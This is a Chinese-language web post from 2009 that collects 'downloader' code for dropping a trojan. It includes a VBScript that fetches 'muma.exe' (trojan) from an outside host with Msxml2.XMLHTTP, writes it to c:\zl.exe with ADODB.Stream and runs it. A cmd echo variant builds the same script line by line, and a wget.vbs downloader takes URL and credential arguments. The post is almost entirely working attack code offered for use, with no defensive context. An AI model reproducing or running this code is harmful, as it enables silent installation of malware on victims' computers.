各种版本下载者代码

2009-11-20 10:37 662 0

摘要: VBS下载者 Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Pos...

关键词： vbsecho CreateObject aGet Wscript zl Post Open Shell Set Arguments

VBS下载者 Set Post = CreateObject("Msxml2.XMLHTTP")Set Shell = CreateObject("Wscript.Shell")Post.Open "GET","http://www.03389.com/muma.exe",0Post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open() aGet.Write(Post.responseBody)aGet.SaveToFile "c:\zl.exe",2wscript.sleep 1000 Shell.Run ("c:\zl.exe") '延迟过后执行下载文件 cmd下执行的版本 echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbsecho Set Shell = CreateObject("Wscript.Shell") >>zl.vbsecho Post.Open "GET","http://www.03389.com/muma.exe",0 >>zl.vbsecho Post.Send() >>zl.vbsecho Set aGet = CreateObject("ADODB.Stream") >>zl.vbsecho aGet.Mode = 3 >>zl.vbsecho aGet.Type = 1 >>zl.vbsecho aGet.Open() >>zl.vbsecho aGet.Write(Post.responseBody) >>zl.vbsecho aGet.SaveToFile "c:\zl.exe",2 >>zl.vbsecho wscript.sleep 1000 >>zl.vbsecho Shell.Run ("c:\zl.exe") >>zl.vbs wget.vbs使用方法：cscript wget.vbs http://www.03389.com/muma.exe on error resume nextiLocal=LCase(Wscript.Arguments(1))iRemote=LCase(Wscript.Arguments(0))iUser=LCase(Wscript.Arguments(2))iPass=LCase(Wscript.Arguments(3))set xPost=CreateObject("Microsoft.XMLHTTP")if iUser="" and iPass="" thenxPost.Open "GET",iRemote,0elsexPost.Open "GET",iRemote,0,iUser,iPassend ifxPost.Send()set sGet=CreateObject("ADODB.Stream")sGet.Mode=3sGet.Type=1sGet.Open()sGet.Write xPost.ResponseBodysGet.SaveToFile iLocal,2

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除